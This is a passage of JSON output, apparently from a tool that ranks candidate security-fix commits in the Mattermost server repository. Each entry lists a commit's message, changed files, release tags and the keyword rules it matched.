Co-authored-by: Mattermost Build ", - "changed_files": [ - "api/Makefile", - "api/v4/source/definitions.yaml", - "api/v4/source/introduction.yaml", - "api/v4/source/remoteclusters.yaml", - "server/channels/api4/apitestlib.go", - "server/channels/api4/remote_cluster.go", - "server/channels/api4/remote_cluster_test.go", - "server/channels/app/app_iface.go", - "server/channels/app/opentracing/opentracing_layer.go", - "server/channels/app/platform/shared_channel_notifier.go", - "server/channels/app/remote_cluster.go", - "server/channels/app/slashcommands/command_remote.go", - "server/channels/store/opentracinglayer/opentracinglayer.go", - "server/channels/store/retrylayer/retrylayer.go", - "server/channels/store/sqlstore/remote_cluster_store.go", - "server/channels/store/store.go", - "server/channels/store/storetest/mocks/RemoteClusterStore.go", - "server/channels/store/storetest/remote_cluster_store.go", - "server/channels/store/timerlayer/timerlayer.go", - "server/channels/web/params.go", - "server/i18n/en.json", - "server/platform/services/remotecluster/invitation.go", - "server/platform/services/remotecluster/mocks_test.go", - "server/platform/services/remotecluster/ping.go", - "server/platform/services/remotecluster/sendmsg.go", - "server/platform/services/remotecluster/service.go", - "server/platform/services/sharedchannel/sync_send.go", - "server/public/model/client4.go", - "server/public/model/remote_cluster.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27432": "Adds Shared Channel related API endpoints #27436" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: console, test, connection, system", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: time, file, test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27432", - "relevance": 2 - } - ] - }, - { - "commit_id": "cc5e87ae249b1b4cdc25b44536f1df8a99de1f9e", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720043906, - "hunks": 19, - "message": "[MM-57942] Fix a panic on password is too long (#27449) * return error from bcrypt, handle gracefully; remove dead code * linting * linting * i18n * fix test * fill out translations", - "changed_files": [ - "server/channels/app/user.go", - "server/channels/app/users/password.go", - "server/channels/app/users/password_test.go", - "server/channels/store/sqlstore/user_store.go", - "server/channels/store/storetest/user_store.go", - "server/i18n/en.json", - "server/public/model/user.go", - "server/public/model/user_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27449": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27449", - "relevance": 2 - } - ] - }, - { - "commit_id": "90534b13cfd394936d14e659a390c971fd739164", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720013499, - "hunks": 2, - "message": "MM-56774: Delete file along with bookmark (#27495)", - "changed_files": [ - "server/channels/store/sqlstore/channel_bookmark_store.go", - "server/channels/store/storetest/channel_bookmark.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27495": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27495", - "relevance": 2 - } - ] - }, - { - "commit_id": "762ff9b96cd0ff8d80de4015eaee800190b18ba4", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719984223, - "hunks": 6, - "message": "[chore] migration of plugin-store (#27506) Plugin store is gradually migrated from: - https://plugins-store.test.mattermost.com to - https://plugins.releases.mattermost.com We reflect that change here Note: Currently both CDN's are working as expected, to facilitate the mgiration. Upon succesfull migration, https://plugins-store.test.mattermost.com will be decomissioned", - "changed_files": [ - "server/Makefile", - "server/build/release.mk", - "server/cmd/mmctl/commands/plugin_e2e_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27506": "[chore] migration of plugin-store mattermost/mmctl#719" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file, test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27506", - "relevance": 2 - } - ] - }, - { - "commit_id": "068c953393022b34244207435725bfb2a3545853", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719941277, - "hunks": 8, - "message": "Sanitize RemoteEmail user prop (#27170) (#27516) Automatic Merge", - "changed_files": [ - "server/platform/services/sharedchannel/service.go", - "server/platform/services/sharedchannel/sync_recv.go", - "server/platform/services/sharedchannel/util.go", - "server/public/model/shared_channel.go", - "server/public/model/user.go", - "server/public/model/user_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27170": "Automated cherry pick of #27170 #27512 Automated cherry pick of #27170 #27513 Automated cherry pick of #27170 #27514 Automated cherry pick of #27170 #27515 Automated cherry pick of #27170 #27516", - "27516": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "v9.5.8", - "v9.5.8-rc1", - "v9.5.8-rc2", - "v9.5.9", - "v9.5.9-rc1" - ], - "matched_rules": [ - { - "id": "SEC_KEYWORDS_IN_MESSAGE", - "message": "The commit message contains some security-related keywords: sanitize", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27170, 27516", - "relevance": 2 - } - ] - }, - { - "commit_id": "b7c6a9a9421c50af9a44f648e760d258c9787dc0", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719941271, - "hunks": 8, - "message": "Sanitize RemoteEmail user prop (#27170) (#27512) Automatic Merge", - "changed_files": [ - "server/platform/services/sharedchannel/service.go", - "server/platform/services/sharedchannel/sync_recv.go", - "server/platform/services/sharedchannel/util.go", - "server/public/model/shared_channel.go", - "server/public/model/user.go", - "server/public/model/user_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27170": "Automated cherry pick of #27170 #27512 Automated cherry pick of #27170 #27513 Automated cherry pick of #27170 #27514 Automated cherry pick of #27170 #27515 Automated cherry pick of #27170 #27516", - "27512": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "v9.10.1", - "v9.10.1-rc1", - "v9.10.1-rc2", - "v9.10.1-rc3", - "v9.10.2", - "v9.10.2-rc1" - ], - "matched_rules": [ - { - "id": "SEC_KEYWORDS_IN_MESSAGE", - "message": "The commit message contains some security-related keywords: sanitize", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27170, 27512", - "relevance": 2 - } - ] - }, - { - "commit_id": "b32295e82370bc0425cbb43475d76f9acc895078", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719424111, - "hunks": 8, - "message": "Sanitize RemoteEmail user prop (#27170) * Sanitize RemoteEmail user prop If the server is configured to hide user emails, the \"RemoteEmail\" user property will be sanitized as well, effectively hiding the real email of remote users. * fix merge conflict --------- Co-authored-by: Doug Lauder Co-authored-by: Mattermost Build (cherry picked from commit 2aff84a72e6515c2e0674c0271ae6a19c4bde5f1)", - "changed_files": [ - "server/platform/services/sharedchannel/service.go", - "server/platform/services/sharedchannel/sync_recv.go", - "server/platform/services/sharedchannel/util.go", - "server/public/model/shared_channel.go", - "server/public/model/user.go", - "server/public/model/user_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27170": "Automated cherry pick of #27170 #27512 Automated cherry pick of #27170 #27513 Automated cherry pick of #27170 #27514 Automated cherry pick of #27170 #27515 Automated cherry pick of #27170 #27516" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "SEC_KEYWORDS_IN_MESSAGE", - "message": "The commit message contains some security-related keywords: sanitized, sanitize", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27170", - "relevance": 2 - } - ] - }, - { - "commit_id": "98e51c9d452a0e9f67e43a6287354ad8c2d3d243", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719932274, - "hunks": 1, - "message": "Update latest patch version to 9.5.8 (#27510) Automatic Merge", - "changed_files": [ - "server/public/model/version.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27510": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "v9.5.8", - "v9.5.8-rc1", - "v9.5.8-rc2", - "v9.5.9", - "v9.5.9-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: version, test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: version", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27510", - "relevance": 2 - } - ] - }, - { - "commit_id": "05b7845bbcd14ccb598da88ed3ae7b52b83512a0", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719932271, - "hunks": 1, - "message": "Update latest patch version to 9.7.7 (#27509) Automatic Merge", - "changed_files": [ - "server/public/model/version.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27509": "" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: version, test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: version", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27509", - "relevance": 2 - } - ] - }, - { - "commit_id": "5de01512cc59d2b57669a3822695276af0aab91f", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719930471, - "hunks": 1, - "message": "Update latest patch version to 9.8.3 (#27508) Automatic Merge", - "changed_files": [ - "server/public/model/version.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27508": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "v9.8.3", - "v9.8.3-rc1", - "v9.8.3-rc2" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: version, test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: version", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27508", - "relevance": 2 - } - ] - }, - { - "commit_id": "8dcd83976618f5e61a6fb3f8beb9307c9f67e730", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719925070, - "hunks": 1, - "message": "Update latest minor version to 9.11.0 (#27496) Automatic Merge", - "changed_files": [ - "server/public/model/version.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27496": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: version, test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: version", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27496", - "relevance": 2 - } - ] - }, - { - "commit_id": "8b52ac3b8bd5007afb6f85806f03ef27fd80eafb", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719823722, - "hunks": 6, - "message": "[MM-58509] Migrate tooltips of \"components/admin_console/user_grid/user_grid_role_dropdown.tsx\" to WithTooltip (#27242)", - "changed_files": [ - "webapp/channels/src/components/admin_console/user_grid/user_grid_role_dropdown.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27242": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: role, console", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: role, console", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27242", - "relevance": 2 - } - ] - }, - { - "commit_id": "f36eb59f215ef4e81e9541dadfeebd13a5ba6279", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719819232, - "hunks": 38, - "message": "[MM-58405] Migrate tooltips of 'components/announcement_bar/default_announcement_bar/announcement_bar' to WithTooltip (#27244) * Migrate tooltips of 'components/announcement_bar/default_announcement_bar/announcement_bar' to WithTooltip * Review fixes * Review fix * Fix imports * Update snapshots * Test fix --------- Co-authored-by: Mattermost Build ", - "changed_files": [ - "webapp/channels/src/components/announcement_bar/__snapshots__/announcement_bar.test.tsx.snap", - "webapp/channels/src/components/announcement_bar/default_announcement_bar/announcement_bar.test.tsx", - "webapp/channels/src/components/announcement_bar/default_announcement_bar/announcement_bar.tsx", - "webapp/channels/src/components/with_tooltip/index.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27244": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27244", - "relevance": 2 - } - ] - }, - { - "commit_id": "d9bd84cea89c7cf3d879ed90f6ba1610090367a9", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719615470, - "hunks": 1, - "message": "Update latest patch version to 9.10.1 (#27497) Automatic Merge", - "changed_files": [ - "server/public/model/version.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27497": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "v9.10.1", - "v9.10.1-rc1", - "v9.10.1-rc2", - "v9.10.1-rc3", - "v9.10.2", - "v9.10.2-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: version, test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: version", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27497", - "relevance": 2 - } - ] - }, - { - "commit_id": "d20b55bde87f181a50ad97c99270373c9baa0b6f", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719587058, - "hunks": 5, - "message": "MM-57375: Update to latest minio image (#27475) * test with latest minio image * Update the KMS key - Also use latest config settings. The older ones were deprecated.", - "changed_files": [ - "server/build/docker-compose.common.yml", - "server/platform/shared/filestore/s3store.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27475": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27475", - "relevance": 2 - } - ] - }, - { - "commit_id": "23993132c67b11e5d8a0d0d789b7079868200b63", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721305378, - "hunks": 15, - "message": "[MM-59296] Can't open web client on iOS Safari (#27607) (#27696) (cherry picked from commit 1ff54a31bca13ffb1675bab210c768f94990a2e7) Co-authored-by: M-ZubairAhmed ", - "changed_files": [ - "webapp/channels/src/components/announcement_bar/notification_permission_bar/index.test.tsx", - "webapp/channels/src/components/announcement_bar/notification_permission_bar/index.tsx", - "webapp/channels/src/i18n/en.json", - "webapp/channels/src/utils/notifications.test.ts", - "webapp/channels/src/utils/notifications.ts" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27607": "Automated cherry pick of #27607 #27696 Automated cherry pick of #27607 #27697", - "27696": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "1ff54a31bca13ffb1675bab210c768f94990a2e7" - ] - ], - "tags": [ - "v9.10.1", - "v9.10.1-rc3", - "v9.10.2", - "v9.10.2-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27607, 27696", - "relevance": 2 - } - ] - }, - { - "commit_id": "7b27b28d6fc2196abc034c1831d42b3aa78da166", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721154162, - "hunks": 100, - "message": "Translations update from Mattermost Weblate (#27656) * Translated using Weblate (German) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/de/ * Translated using Weblate (Japanese) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/ja/ * Translated using Weblate (Chinese (Simplified)) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/zh_Hans/ * Translated using Weblate (Chinese (Simplified)) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/zh_Hans/ * Translated using Weblate (Polish) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/pl/ * Translated using Weblate (Polish) Currently translated at 99.5% (5775 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (Dutch) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/nl/ * Translated using Weblate (Russian) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/ru/ * Translated using Weblate (Russian) Currently translated at 98.5% (5715 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/ru/ * Translated using Weblate (Dutch) Currently translated at 99.9% (5797 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/nl/ * Translated using Weblate (Polish) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (Polish) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (English (Australia)) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/en_AU/ * Translated using Weblate (English (Australia)) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/en_AU/ * Update translation files Updated by \"Cleanup translation files\" hook in Weblate. Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/ * Update translation files Updated by \"Cleanup translation files\" hook in Weblate. Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/ --------- Co-authored-by: jprusch Co-authored-by: kaakaa Co-authored-by: Sharuru Co-authored-by: master7 Co-authored-by: Tom De Moor Co-authored-by: Konstantin Co-authored-by: Matthew Williams ", - "changed_files": [ - "server/i18n/be.json", - "server/i18n/bg.json", - "server/i18n/ca.json", - "server/i18n/cs.json", - "server/i18n/de.json", - "server/i18n/en-AU.json", - "server/i18n/es.json", - "server/i18n/fa.json", - "server/i18n/fi.json", - "server/i18n/fr.json", - "server/i18n/hi.json", - "server/i18n/hu.json", - "server/i18n/it.json", - "server/i18n/ja.json", - "server/i18n/ko.json", - "server/i18n/nl.json", - "server/i18n/pl.json", - "server/i18n/pt-BR.json", - "server/i18n/ro.json", - "server/i18n/ru.json", - "server/i18n/sv.json", - "server/i18n/tr.json", - "server/i18n/uk.json", - "server/i18n/vi.json", - "server/i18n/zh-CN.json", - "server/i18n/zh-TW.json", - "webapp/channels/src/i18n/be.json", - "webapp/channels/src/i18n/bg.json", - "webapp/channels/src/i18n/cs.json", - "webapp/channels/src/i18n/de.json", - "webapp/channels/src/i18n/en-AU.json", - "webapp/channels/src/i18n/es.json", - "webapp/channels/src/i18n/fa.json", - "webapp/channels/src/i18n/fr.json", - "webapp/channels/src/i18n/fy.json", - "webapp/channels/src/i18n/hr.json", - "webapp/channels/src/i18n/hu.json", - "webapp/channels/src/i18n/it.json", - "webapp/channels/src/i18n/ja.json", - "webapp/channels/src/i18n/ko.json", - "webapp/channels/src/i18n/lt.json", - "webapp/channels/src/i18n/nl.json", - "webapp/channels/src/i18n/pl.json", - "webapp/channels/src/i18n/pt-BR.json", - "webapp/channels/src/i18n/ro.json", - "webapp/channels/src/i18n/ru.json", - "webapp/channels/src/i18n/sv.json", - "webapp/channels/src/i18n/tr.json", - "webapp/channels/src/i18n/uk.json", - "webapp/channels/src/i18n/vi.json", - "webapp/channels/src/i18n/zh-CN.json", - "webapp/channels/src/i18n/zh-TW.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27656": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "e0688e237bc73293533716816f51d9f7a24723e5" - ] - ], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27656", - "relevance": 2 - } - ] - }, - { - "commit_id": "8848ad8a3451bc869f025638698e62478977e60b", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721143671, - "hunks": 86, - "message": "Code enhancements to feature - Sysadmin manage user settings (#27636) (#27680) Automatic Merge", - "changed_files": [ - "webapp/channels/src/components/confirm_modal_redux/confirm_modal_redux.tsx", - "webapp/channels/src/components/user_settings/advanced/index.ts", - "webapp/channels/src/components/user_settings/advanced/join_leave_section/index.ts", - "webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.test.tsx", - "webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.tsx", - "webapp/channels/src/components/user_settings/advanced/performance_debugging_section/index.ts", - "webapp/channels/src/components/user_settings/advanced/performance_debugging_section/performance_debugging_section.tsx", - "webapp/channels/src/components/user_settings/advanced/user_settings_advanced.test.tsx", - "webapp/channels/src/components/user_settings/advanced/user_settings_advanced.tsx", - "webapp/channels/src/components/user_settings/display/index.ts", - "webapp/channels/src/components/user_settings/display/user_settings_display.tsx", - "webapp/channels/src/components/user_settings/index.tsx", - "webapp/channels/src/components/user_settings/modal/index.ts", - "webapp/channels/src/components/user_settings/modal/user_settings_modal.tsx", - "webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/index.ts", - "webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/limit_visible_gms_dms.tsx", - "webapp/channels/src/components/user_settings/sidebar/show_unreads_category/index.ts", - "webapp/channels/src/components/user_settings/sidebar/show_unreads_category/show_unreads_category.tsx", - "webapp/channels/src/components/user_settings/sidebar/user_settings_sidebar.tsx", - "webapp/channels/src/components/widgets/smart_loader/index.tsx", - "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_categories.ts", - "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/preferences.ts", - "webapp/channels/src/selectors/views/channel_sidebar.ts" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27636": "Automated cherry pick of #27636 #27680", - "27680": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "4a48a6f020f343b17a849cd8bd161b4697ba84ef" - ] - ], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test, limit", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27636, 27680", - "relevance": 2 - } - ] - }, - { - "commit_id": "38e31084eb878648bfdcf49cc7bbaa0d594d6103", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721141871, - "hunks": 38, - "message": "[MM-59083] Handle permissions in user management options (#27668) (#27679) Automatic Merge", - "changed_files": [ - "webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.tsx", - "webapp/channels/src/components/admin_console/system_users/system_users_list_actions/confirm_manage_user_settings_modal.tsx", - "webapp/channels/src/components/admin_console/system_users/system_users_list_actions/index.tsx", - "webapp/channels/src/i18n/en.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27668": "Automated cherry pick of #27668 #27679", - "27679": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "80aaeb9d03fc4ef0a2a6c966dfc198f1ee2fc913" - ] - ], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": 